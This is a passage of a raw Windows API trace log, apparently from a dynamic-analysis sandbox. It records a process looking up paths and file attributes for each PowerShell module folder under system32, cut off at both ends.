lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0191.866] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AssignedAccess", nBufferLength=0x42, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AssignedAccess", lpFilePart=0x0) returned 0x41 [0191.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.866] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AssignedAccess" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\assignedaccess"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.866] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitLocker", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0191.867] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitLocker", nBufferLength=0x3d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitLocker", lpFilePart=0x0) returned 0x3c [0191.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.867] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitLocker" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitlocker"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0191.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.867] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0191.867] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0191.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.867] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff18fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.867] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0191.867] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", nBufferLength=0x3f, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", lpFilePart=0x0) returned 0x3e [0191.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.867] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\branchcache"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfbff1c72, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86cfe48, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.868] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0191.868] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0191.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.868] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff21c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.868] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ConfigCI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0191.868] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ConfigCI", nBufferLength=0x3c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ConfigCI", lpFilePart=0x0) returned 0x3b [0191.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.868] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ConfigCI" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\configci"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.868] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Defender", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0191.868] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Defender", nBufferLength=0x3c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Defender", lpFilePart=0x0) returned 0x3b [0191.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.868] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Defender" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\defender"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff380e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0191.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.869] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DeliveryOptimization", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0191.869] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DeliveryOptimization", nBufferLength=0x48, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DeliveryOptimization", lpFilePart=0x0) returned 0x47 [0191.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.869] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DeliveryOptimization" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\deliveryoptimization"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff3c0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.869] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0191.869] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", nBufferLength=0x50, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", lpFilePart=0x0) returned 0x4f [0191.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.869] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\directaccessclientcomponents"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc08f2e6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0191.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.869] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0191.869] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", nBufferLength=0x38, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", lpFilePart=0x0) returned 0x37 [0191.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.869] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dism"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0191.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.870] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0191.870] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", nBufferLength=0x3d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", lpFilePart=0x0) returned 0x3c [0191.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.870] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dnsclient"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc090fdc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.871] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0191.871] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", nBufferLength=0x4a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", lpFilePart=0x0) returned 0x49 [0191.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.871] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc12f1ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.871] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0191.871] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", nBufferLength=0x41, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", lpFilePart=0x0) returned 0x40 [0191.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.871] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc12f954, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.871] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0191.872] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", nBufferLength=0x39, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", lpFilePart=0x0) returned 0x38 [0191.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.872] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\iscsi"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc130082, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.872] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0191.872] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0191.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.872] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc130565, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.874] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0191.874] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", nBufferLength=0x37, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", lpFilePart=0x0) returned 0x36 [0191.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.874] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\kds"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.874] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0191.874] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0191.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.874] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.874] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0191.874] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0191.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.875] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc132049, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.875] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0191.875] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0191.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.875] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc132470, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, 